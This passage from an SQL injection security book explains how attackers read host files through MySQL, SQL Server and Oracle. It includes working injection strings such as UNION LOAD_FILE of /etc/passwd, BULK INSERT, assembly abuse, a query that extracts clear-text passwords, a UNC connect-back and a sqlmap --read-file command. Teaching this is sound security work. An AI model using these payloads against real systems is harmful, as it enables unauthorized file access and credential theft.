Accessing the file system of the host running the
database management system (DBMS) holds several promises for the
potential attacker. In some cases, this is a precursor to attacking the
operating system (e.g., finding stored credentials on the machine); in
other cases, it could simply be an attempt to bypass the authorization
efforts of the database itself (e.g., MySQL traditionally stored its
database files in ASCII text on the file system, allowing a file-read
attack to read database contents sans the DBMS authorization levels).
Reading Files
The ability to read
arbitrary files on the host running the DBMS offers interesting
possibilities for the imaginative attacker. The question of “what files
to read?” is an old one that attackers have been asking for a long time.
The answer obviously depends largely on the attacker's objectives. In
some cases the goal may be theft of documents or binaries from the host,
whereas in other cases the attacker may be hoping to find credentials
of some sort to further his attack. Regardless of the goal, the attacker wants to be able to read both ASCII text and binary files somehow.
An obvious
question that naturally follows is how the attacker is able to view
these files, assuming he is able to coerce the DBMS into reading it.
Although in this article we will examine a few of the answers to these
questions.
Simply put, the goal of this subsection is to understand how an
attacker can view the contents of the target file system as part of an
SQL query. Actually extruding the data is a different problem to be
solved.
MySQL
MySQL provides the well-abused functionality of allowing a text file to be read into the database through its LOAD DATA INFILE and LOAD_FILE
commands. According to the current MySQL reference manual, “The LOAD
DATA INFILE statement reads rows from a text file into a table at a very
high speed. The filename must be given as a literal string.”
Let's examine the use of the LOAD DATA INFILE command as it was intended to be used.
We'll start by creating a simple text file called users.txt:
cat users.txt
haroon meer [email protected] 1
Dafydd Stuttard [email protected] 1
Dave Hartley [email protected] 1
Rodrigo Marcos [email protected] 1
Gary Oleary-Steele [email protected] 1
Joe Hemler [email protected] 1
Marco Slaviero [email protected] 1
Alberto Revelli [email protected] 1
Alexander Kornbrust [email protected] 1
Justin Clarke [email protected] 1
Then we'll run the following command within the MySQL console to create a table to house the author details:
mysql> create table authors (fname char(50), sname char(50), email
char(100), flag int);
Query OK, 0 rows affected (0.01 sec)
With the table ready to accept the text file, we'll populate the table with the following command:
mysql> load data infile '/tmp/users.txt' into table authors fields
terminated by ' ';
Query OK, 10 rows affected (0.00 sec)
Records: 10 Deleted: 0 Skipped: 0 Warnings: 0
A quick select on the authors table reveals that the text file has been perfectly imported into the database:
mysql> select * from authors;
+-----------+---------------+------------------------------+------+
| fname | sname | email | flag |
+-----------+---------------+------------------------------+------+
| haroon | meer | [email protected] | 1 |
| Dafydd | Stuttard | [email protected] | 1 |
| Dave | Hartley | [email protected] | 1 |
| Rodrigo | Marcos | [email protected] | 1 |
| Gary | Oleary-Steele | [email protected] | 1 |
| Joe | Hemler | [email protected] | 1 |
| Marco | Slaviero | [email protected] | 1 |
| Alberto | Revelli | [email protected] | 1 |
| Alexander | Kornbrust | [email protected] | 1 |
| Justin | Clarke | [email protected] | 1 |
+-----------+---------------+------------------------------+------+
10 rows in set (0.00 sec)
For easier hacking fun, MySQL also provides the LOAD_FILE function, which allows you to avoid first creating a table, and goes straight to delivering the results:
mysql> select LOAD_FILE('/tmp/test.txt');
+--------------------------------------------------------------------------+
| LOAD_FILE('/tmp/test.txt') |
+--------------------------------------------------------------------------+
| This is an arbitrary file residing somewhere on the filesystem
It can be multi-line
and it does not really matter how many lines are in it… |
+-------------------------------------------------------------------------+
1 row in set (0.00 sec)
Now, since the focus of this book is SQL injection,
it would probably make sense to observe this within an injected SQL
statement. To test this, consider the fictitious and vulnerable intranet
site (shown in Figure 1) that allows a user to search for customers.
The site is vulnerable to injection, and since it returns output directly to your browser it is a prime candidate for a union
statement. For purposes of illustration, this site also displays the
actual generated SQL query as a DEBUG message. The results of a simple
search for “a” appear in Figure 2.
Now we'll consider the LOAD_FILE syntax we examined earlier. We'll try to use the union operator to read the world-readable /etc/passwd file, using the following code:
' union select LOAD_FILE('/etc/passwd')#
This returns the familiar error message regarding the union operator requiring an even number of columns in both queries:
DBD::mysql::st execute failed: The used SELECT statements have a
different number of columns at…
By adding a second column to the unionized query, we effectively obtain joy by submitting the following:
' union select NULL,LOAD_FILE('/etc/passwd')#
This behaves as we had hoped, and as Figure 3 shows, the server returns all the users in the database, along with the contents of the file we requested.
Keep
in mind that accessing the file system this way requires that the
database user have File privileges and that the file being read has
world-readable permissions. The syntax of the LOAD_FILE
command necessitates that the attacker use the single-quote character
(‘), which sometimes poses a problem due to possible malicious character
filtering within the application. Chris Anley of NGS Software pointed
out in his paper “HackProofing MySQL” that
MySQL's ability to treat HEX-encoded strings as a substitute for string
literals means that the following two statements are equivalent:
select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69
The LOAD_FILE
function also handles binary files transparently, which means that with
a little bit of finesse we can use the function to read binary files
from the remote host easily:
mysql> create table foo (line blob);
Query OK, 0 rows affected (0.01 sec)
mysql> insert into foo set line=load_file('/tmp/temp.bin');
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo;
+--------+
| line |
+--------+
| AA??A |
+--------+
1 row in set (0.00 sec)
Of course, the binary data is not viewable, making it unusable to us, but MySQL comes to the rescue with its built-in HEX( ) function:
mysql> select HEX(line) from foo;
+--------------+
| HEX(line) |
+--------------+
| 414190904112 |
+--------------+
1 row in set (0.00 sec)
Wrapping the LOAD_FILE command in the HEX( ) function also works, allowing us to use the vulnerable intranet application to now read binary files on the remote file system:
' union select NULL,HEX(LOAD_FILE('/tmp/temp.bin'))#
The results of this query appear in Figure 4.
You
can use the substring function to split this, effectively obtaining
chunks of the binary file at a time to overcome limitations that the
application might impose.
LOAD_FILE( )
also accepts Universal Naming Convention (UNC) paths, which allows an
enterprising attacker to search for files on other machines, or even to
cause the MySQL server to connect back to his own machine:
mysql> select load_file('//172.16.125.2/temp_smb/test.txt');
+-------------------------------------------------------------+
| load_file('//172.16.125.2/temp_smb/test.txt') |
+-------------------------------------------------------------+
| This is a file on a server far far away.. |
+-------------------------------------------------------------+
1 row in set (0.52 sec)
The sqlmap tool by Bernardo Damele A. G. (http://sqlmap.sourceforge.net) offers this functionality through the --read-file command-line option:
python sqlmap.py -u "http://intranet/cgi-bin/customer.pl?Submit=Submit&term=a"
--read-file /etc/passwd
Microsoft SQL Server
Microsoft SQL
Server is one of the flagship products of the Microsoft Security
Development Lifecycle (SDL) process, but it still has a well-deserved
bad rap with regard to
SQL injection attacks. This is due in part to its popularity among
first-time developers (a testimony to how Microsoft enables its
developers) and in part to the fact that the Microsoft SQL Server allows
for stacked queries. This exponentially increases the options available
to a potential attacker, which can be evidenced by the repercussions of
an injection against an SQL Server box. SensePost alone has built tool
sets that will convert an injection point into full-blown domain name
system (DNS) tunnels, remote file servers, and even Transmission Control
Protocol (TCP) connect proxies.
Let's begin at the
beginning, and try to use a vulnerable Web application to read a file
from the remote SQL server. In this case, usually the first function an
attacker who has managed to obtain system administrator privileges
finesses is the BULK INSERT statement.
A quick test through Microsoft's SQL Query Analyzer (shown in Figure 5) demonstrates the use of BULK INSERT by way of example.
The ability of
the relational database management system (RDBMS) to handle files such
as this, along with the ability to handle batched or stacked queries,
should make it fairly obvious how an attacker can leverage this through
his browser. Let's take one more look at a simple search application
written in ASP with a Microsoft SQL Server back end. Figure 6
shows the results of a search on the application for “%”. As you should
expect (by now), this returns all of the users on the system.
Once the attacker has determined that the sname field is vulnerable to injection, he can quickly determine his running privilege level by injecting a union query to select user_name( ), user, or loginame:
http://intranet/admin/staff.asp?sname=' union select NULL,NULL,NULL,loginame
FROM master..sysprocesses WHERE spid = @@SPID--
This results in Figure 7.
With
this information he moves on, effectively replicating the commands he
executed within the Query Analyzer program through the browser, leaving
the following odd-looking query:
http://intranet/admin/staff.asp?sname='; create table hacked(line varchar(8000));
bulk insert hacked from 'c:\boot.ini';--
This allows the attacker to run a subsequent query to obtain the results of this newly created table (displayed in Figure 8).
By setting CODEPAGE=‘RAW’ when doing a BULK INSERT
an attacker can even upload binary files into SQL Server, which he can
rebuild after extracting it through the application. SensePost's Squeeza
tool automates this process through the use of its !copy
mode, enabling an attacker to perform the bulk insert in a temporary
table in the background, and then use the communication mechanism of
choice (DNS, error messages, timing) to extract the information before
rebuilding the file on his machine. You can test this by picking an
arbitrary binary file on the remote machine (c:\winnt\system32\net.exe)
and obtaining its MD5 hash value. Figure 9 shows the hash value obtained for the system's net.exe binary.
Using
a squeeza.config file that is aimed at our target application, let's
fetch two files: the remote server's boot.ini and the binary
c:\winnt\system32\net.exe. Figure 10 displays the rather terse output from Squeeza.
If all went well, we should be able to read the contents of the stolen-boot.ini and compare the checksum on the stolen-net.exe:
[haroon@hydra squeeza]$ cat stolen-boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000
Server" /fastdetect
[haroon@hydra squeeza]$ md5sum stolen-net.exe
8f9f01a95318fc4d5a40d4a6534fa76b stolen-net.exe
(You can compare the MD5 values to prove that the file transfer worked perfectly, albeit painfully slowly depending on the !channel you chose.)
In the absence of the bulk
insert method, an attacker can accomplish file manipulation on SQL
Server through the use of OLE Automation, a technique discussed in Chris
Anley's paper, “Advanced SQL Injection.” In Anley's example, he first
used the wscript.shell object to launch an instance of Notepad on the remote server:
-- wscript.shell example (Chris Anley – [email protected])
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Of course, this
opens the opportunity for an attacker to use any ActiveX control, which
creates a wealth of attacking opportunities. The file system object
provides an attacker with a relatively simple method to read files in
the absence of bulk insert. Figure 11 shows the (ab)use of the Scripting.FileSystemObject within SQL Query Analyzer.
Using
the same technique, it is then possible to get SQL Server to spawn
browser instances, which adds a new twist to the chain with ever more
complications and attack vectors. It is not impossible to imagine an
attack in which the attacker exploits a vulnerability in a browser by
first using SQL injection to force the server's browser to surf to a
malicious page.
SQL Server 2005 introduced a
wealth of new “features” that are attack-worthy, and probably one of the
biggest is the introduction of the Microsoft Common Language Runtime
(CLR) within SQL Server. This allows a developer to integrate .NET
binaries into the database trivially, and for an enterprising attacker
it opens up a wealth of opportunities. From MSDN:
“Microsoft SQL
Server 2005 significantly enhances the database programming model by
hosting the Microsoft .NET Framework 2.0 Common Language Runtime (CLR).
This enables developers to write procedures, triggers, and functions in
any of the CLR languages, particularly Microsoft Visual C# .NET,
Microsoft Visual Basic .NET, and Microsoft Visual C++. This also allows
developers to extend the database with new types and aggregates.”[1]
We will get into the meat
of this CLR integration later, but for now our focus is simply on
abusing the remote system to read in files. This becomes possible
through one of the methods used to import assemblies into SQL Server.
The first problem we need to overcome is that SQL Server 2005 disables
CLR integration by default. As Figure 12
shows, this proves to be no problem once you have system administrator
or equivalent privileges, since you can turn on all of this
functionality again through the sp_configure stored procedure.
Of course (as you can see in Figure 13), it's just as easy to adapt all of these to run through our injection string.
This positions us to load any .NET binary from the remote server into the database by using the CREATE ASSEMBLY function.
We'll load the .NET assembly c:\temp\test.exe with the following injection string:
sname=';create assembly sqb from 'c:\temp\test.exe' with permission_set =
unsafe--
SQL Server stores the raw binary (as a HEX string) in the sys.assembly_files table. As shown in Figure 14, you can view this easily within Query Analyzer.
Viewing this file through our Web page requires that we combine the substring( ) and master.dbo.fn_varbintohexstr() functions:
sname=' union select NULL,NULL,NULL, master.dbo.fn_varbintohexstr
(substring(content,1,5)) from sys.assembly_files--
Figure 15 shows how you can use the union, substring, and fn_varbintohexstr combination to read binary files through the browser.
SQL
Server verifies the binary or assembly at load time (and at runtime) to
ensure that the assembly is a valid .NET assembly. This prevents us
from using the CREATE ASSEMBLY directive to place non-CLR binaries into the database:
CREATE ASSEMBLY sqb2 from 'c:\temp\test.txt'
The preceding line of code results in the following:
CREATE ASSEMBLY for assembly 'sqb2' failed because assembly 'sqb2' is
malformed or not a pure .NET assembly.
Unverifiable PE Header/native stub.
Fortunately, we
can bypass this restriction with a little bit of finesse. First we'll
load a valid .NET binary, and then use the ALTER ASSEMBLY command to add additional files to the ASSEMBLY.
At the time of this writing, the additional files are inserted into the
database with no type checking, allowing us to link arbitrary binary
files (or plain-text ASCII ones) to the original assembly.
create assembly sqb from 'c:\temp\test.exe'
alter assembly sqb add file from 'c:\windows\system32\net.exe'
alter assembly sqb add file from 'c:\temp\test.txt'
A select on the sys.assembly_files table reveals that the files have been added and can be retrieved using the same substring/varbintohexstr technique.
Adding assemblies to
the system catalog is normally allowed only for members of the SYSADMIN
group (and database owners). The first step toward utilizing these
techniques will be to elevate to the system administrator privilege
level.
Oracle
Oracle
offers various possibilities to read files from the underlying
operating system. Most of them require the ability to run PL/SQL code.
There are three different (known) interfaces to access files:
By default, an
unprivileged user cannot read (or write) files at the operating system
level. With the right privileges this will be an easy job.
Using utl_file_dir and Oracle directories is the most common way to access files. The utl_file_dir
database parameter (deprecated since Oracle 9i Rel. 2) allows you to
specify a directory on an operating system level. Any database user can
read/write/copy files inside this directory (check: select name,value from v$parameter where name=‘UTL_FILE_DIR’). If the value of utl_file_dir
is *, there are no limitations regarding where the database process can
write. Older unpatched versions of Oracle had directory traversal
problems which made this considerably easier.
The following methods allow you to read files from the Oracle database using utl_file_dir/Oracle directories:
utl_file (PL/SQL, Oracle 8 through 11g)
DBMS_LOB (PL/SQL, Oracle 8 through 11g)
External tables (SQL, Oracle 9i Rel. 2 through 11g)
XMLType (SQL, Oracle 9i Rel. 2 through 11g)
The following sample
PL/SQL code reads 1,000 bytes, beginning at byte 1, from the rds.txt
file. This file is located in the MEDIA_DIR directory.
DECLARE
buf varchar2(4096);
BEGIN
Lob_loc:= BFILENAME('MEDIA_DIR', 'rds.txt');
DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY);
DBMS_LOB.READ (Lob_loc, 1000, 1, buf);
dbms_output.put_line(utl_raw.cast_to_varchar2(buf));
DBMS_LOB.CLOSE (Lob_loc);
END;
Since
Oracle 9i Rel. 2, Oracle offers the ability to read files via external
tables. Oracle uses the SQL*Loader or Oracle Datapump (since 10g) to
read data from a structured file. If an SQL injection vulnerability
exists in a CREATE TABLE statement, it's possible to modify the normal table to an external table.
Here is the sample code for an external table:
create directory ext as 'C:\';
CREATE TABLE ext_tab (
line varchar2(256))
ORGANIZATION EXTERNAL (
TYPE oracle_loader
DEFAULT DIRECTORY ext
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
BADFILE 'bad_data.bad'
LOGFILE 'log_data.log'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
REJECT ROWS WITH ALL NULL FIELDS
(line))
LOCATION ('victim.txt')
)
PARALLEL
REJECT LIMIT 0
NOMONITORING;
Select * from ext_tab;
The next code snippet
reads the username, clear-text password, and connect string from the
data-sources.xml file. This is a default file (in Oracle 11g) and it
contains a connect string for Java. The big advantage of this code is
the fact that you can use it inside select statements in a function or as a UNION SELECT.
select
extractvalue(value(c), '/connection-factory/@user')||'/'||extractvalue(value(c),
'/connection-factory/@password')||'@'||substr(extractvalue(value(c),
'/connection-factory/@url'),instr(extractvalue(value(c),
'/connection-factory/@url'),'//')+2) conn
FROM table(
XMLSequence(
extract(
xmltype(
bfilename('GETPWDIR', 'data-sources.xml'),
nls_charset_id('WE8ISO8859P1')
),
'/data-sources/connection-pool/connection-factory'
)
)
) c
/
Instead of using the utl_file_dir/Oracle
directory concept, it is also possible to read and write files using
Java. You can find sample code for this approach on Marco Ivaldis's Web
site, at www.0xdeadbeef.info/exploits/raptor_oraexec.sql.
A widely unknown technique for reading files and URIs is Oracle Text. This feature does not require Java or utl_file_dir/Oracle
directories. Just insert the file or URL you want to read into a table,
and create a full text index or wait until the full text index is
created. The index contains the contents of the entire file.
The following sample code shows how to read the boot.ini file by inserting it into a table:
CREATE TABLE files (
id NUMBER PRIMARY KEY,
path VARCHAR(255) UNIQUE,
ot_format VARCHAR(6)
);
INSERT INTO files VALUES (1, 'c:\boot.ini', NULL);
CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
-- retrieve data from the fulltext index
Select token_text from dr$file_index$i;